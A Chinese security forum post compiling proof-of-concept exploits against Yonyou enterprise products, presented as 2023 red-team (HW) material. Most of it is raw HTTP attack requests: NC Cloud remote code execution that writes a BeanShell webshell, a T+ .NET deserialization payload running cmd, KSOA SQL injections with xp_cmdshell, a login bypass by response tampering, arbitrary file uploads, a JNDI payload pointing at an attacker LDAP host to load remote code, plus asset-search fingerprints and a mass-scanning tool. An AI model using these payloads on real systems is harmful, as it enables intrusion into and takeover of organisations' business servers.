设为首页收藏本站

DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步，快速开始

搜索
DecoyMini 技术交流社区»论坛 › 技术区 › 红蓝队对抗 › 用友漏洞 PoC 整理
返回列表 发新帖
查看: 1711|回复: 0

[2023HW] 用友漏洞 PoC 整理

[复制链接]
吉沃运营专员

172

主题

34

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
339
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理
发表于 2023-8-16 21:32:17 | 显示全部楼层 |阅读模式
本文内容为互联网上收集，禁止用于非法用途，仅供学习使用！

用友 nc-cloud RCE


漏洞影响

NC63、NC633、NC65
NC Cloud1903、NC Cloud1909
NC Cloud2005、NC Cloud2105、NC Cloud2111
YonBIP高级版2207

先发送数据包，返回 200

  1. POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
  2. Host: 127.0.0.1:8080
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: cookiets=168170496; JSESSIONID=33A343770FF.server
  10. If-None-Match: W/"1571-1589211696000"
  11. If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
  12. Connection: close
  13. Content-Type: application/x-www-form-urlencoded
  14. Content-Length: 249

  16. {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}
复制代码

再发送数据包执行命令，返回命令执行结果

  1. POST /404.jsp?error=bsh.Interpreter HTTP/1.1
  2. Host: 127.0.0.1:8080
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: cookiets=1681785232226; JSESSIONID=334D3ED07A343770FF.server
  10. If-None-Match: W/"1571-1589211696000"
  11. If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
  12. Connection: close
  13. Content-Type: application/x-www-form-urlencoded
  14. Content-Length: 104

  16. cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ping 8.8.8.8").getInputStream())
复制代码

用友畅捷通 T+GetStoreWarehouseByStore RCE 漏洞


  1. POST /tplus/ajaxpro/Ufida.T.CodeBehind.PriorityLevel,AppCode.ashx?method=GetstoreWarehouseByStore HTTP/1.1
  2. Host:
  3. User-Agent: Mozilla/5.0 (X11;Linuxx86 64)AppleWebKit/537.36(KHTML, likeGecko)Chrome/34.0.1847.137 Safari 4E423F
  4. Connection: close
  5. Content-Length:668 X-Ajaxpro-Method:GetstoreWarehouseByStore
  6. Accept-Encoding:gzip { "storeID":{"type":"system.Windows.Data.objectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35", "MethodName":"start","objectInstance":{" type":"system.Diagnostics.Process, System,Version=4.0.0.0，Culture=neutral, PublicKeyToken=b77a5c561934e089" "startInfo":{" type":"system.Diagnostics.ProcessstartInfo, system,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089","FileName":"cmd", "Arguments":"/cwhoami>C:/Progra~2/Chanjet/TPlusStd/Website/2RUsL6jgx9sGX4GItBcVfxarBM.txt" } } } }
复制代码

用友 GRP-U8 存在信息泄露


直接访问log日志，泄露敏感信息

POC

  1. GET /logs/info.log HTTP/1.1
复制代码

批量扫描工具：https://github.com/MzzdToT/HAC_B ... 4%A8%E5%8F%8BGRP-U8

指纹

  1. body="U8Accid" || title="GRP-U8" || body="用友优普信息技术有限公司"
复制代码

工具利用

  1. python3 GRP-U8_loginfo.py -u http://127.0.0.1:1111 单个 url 测试

  3. python3 GRP-U8_loginfo.py -f url.txt 批量检测
复制代码

会在当前目录生成存在漏洞的 vuln.txt 文件

用友文件服务器认证绕过


资产搜索：

  1. app="用友-NC-Cloud"   或者是app="用友-NC-Cloud" && server=="Apache-Coyote/1.1"
复制代码

POST 数据包修改返回包 false 改成 ture 就可以绕过登陆

  1. HTTP/1.1 200 OK
  2. Server: Apache-Coyote/1.1
  3. Date: Thu, 10 Aug 2023 20:38:25 GMT
  4. Connection: close
  5. Content-Length: 17

  7. {"login":"false"}
复制代码

用友时空 KSOA PayBill SQL 注入漏洞


  1. POST /servlet/PayBill?caculate&_rnd= HTTP/1.1
  2. Host: 1.1.1.1
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  4. Content-Length: 134
  5. Accept-Encoding: gzip, deflate
  6. Connection: close

  8. <?xml version="1.0" encoding="UTF-8" ?><root><name>1</name><name>1'WAITFOR DELAY '00:00:03';-</name><name>1</name><name>102360</name></root>
复制代码

命令执行

  1. exec master..xp_cmdshell 'whoami';
复制代码

用友时空 KSOATaskRequestServlet SQL 注入漏洞


  1. /servlet/com.sksoft.v8.trans.servlet.TaskRequestServlet?unitid=1*&password=1,
复制代码

用友时空 KSOA servletimagefield 文件 sKeyvalue 参数 SQL 注入


  1. GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1
  2. Host: 127.0.0.1
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko)
  4. Accept-Encoding: gzip, deflate
  5. Connection:
复制代码

用友畅捷通 T 注入


  1. sqlmap -u http://xx.xx.xx.xx/WebSer~1/create_site.php?site_id=1 --is-dba
复制代码

用友 NC Cloud jsinvoke 任意文件上传漏洞


漏洞描述

用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限

app="用友-NC-Cloud"

  1. POST /uapjs/jsinvoke/?action=invoke
  2. Content-Type: application/json

  4. {
  5.   "serviceName": "nc.itf.iufo.IBaseSPService",
  6.   "methodName": "saveXStreamConfig",
  7.   "parameterTypes": [
  8.     "java.lang.Object",
  9.     "java.lang.String"
  10.   ],
  11.   "parameters": [
  12.     "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
  13.     "webapps/nc_web/407.jsp"
  14.   ]
  15. }

  17. POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
  18. Host:
  19. Connection: Keep-Alive
  20. Content-Length: 253
  21. Content-Type: application/x-www-form-urlencoded

  23. {
  24.   "serviceName": "nc.itf.iufo.IBaseSPService",
  25.   "methodName": "saveXStreamConfig",
  26.   "parameterTypes": [
  27.     "java.lang.Object",
  28.     "java.lang.String"
  29.   ],
  30.   "parameters": [
  31.     "${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}",
  32.     "webapps/nc_web/301.jsp"
  33.   ]
  34. }
复制代码

用友移动管理系统 uploadApk.do 任意文件上传漏洞


  1. /maupload/apk/a.jsp

  3. POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1
  4. Host:
  5. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3
  6. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
  7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  8. Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server
  9. Connection: close

  11. ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3
  12. Content-Disposition: form-data; name="downloadpath"; filename="a.jsp"
  13. Content-Type: application/msword

  15. hello
  16. ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--
复制代码

用友, RCE

相关帖子

DecoyMini·吉星 —— 高可扩展、安全、免费的企业级蜜罐系统
回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 ( 京ICP备2021005070号 )

GMT+8, 2024-4-29 00:52 , Processed in 0.058984 second(s), 26 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表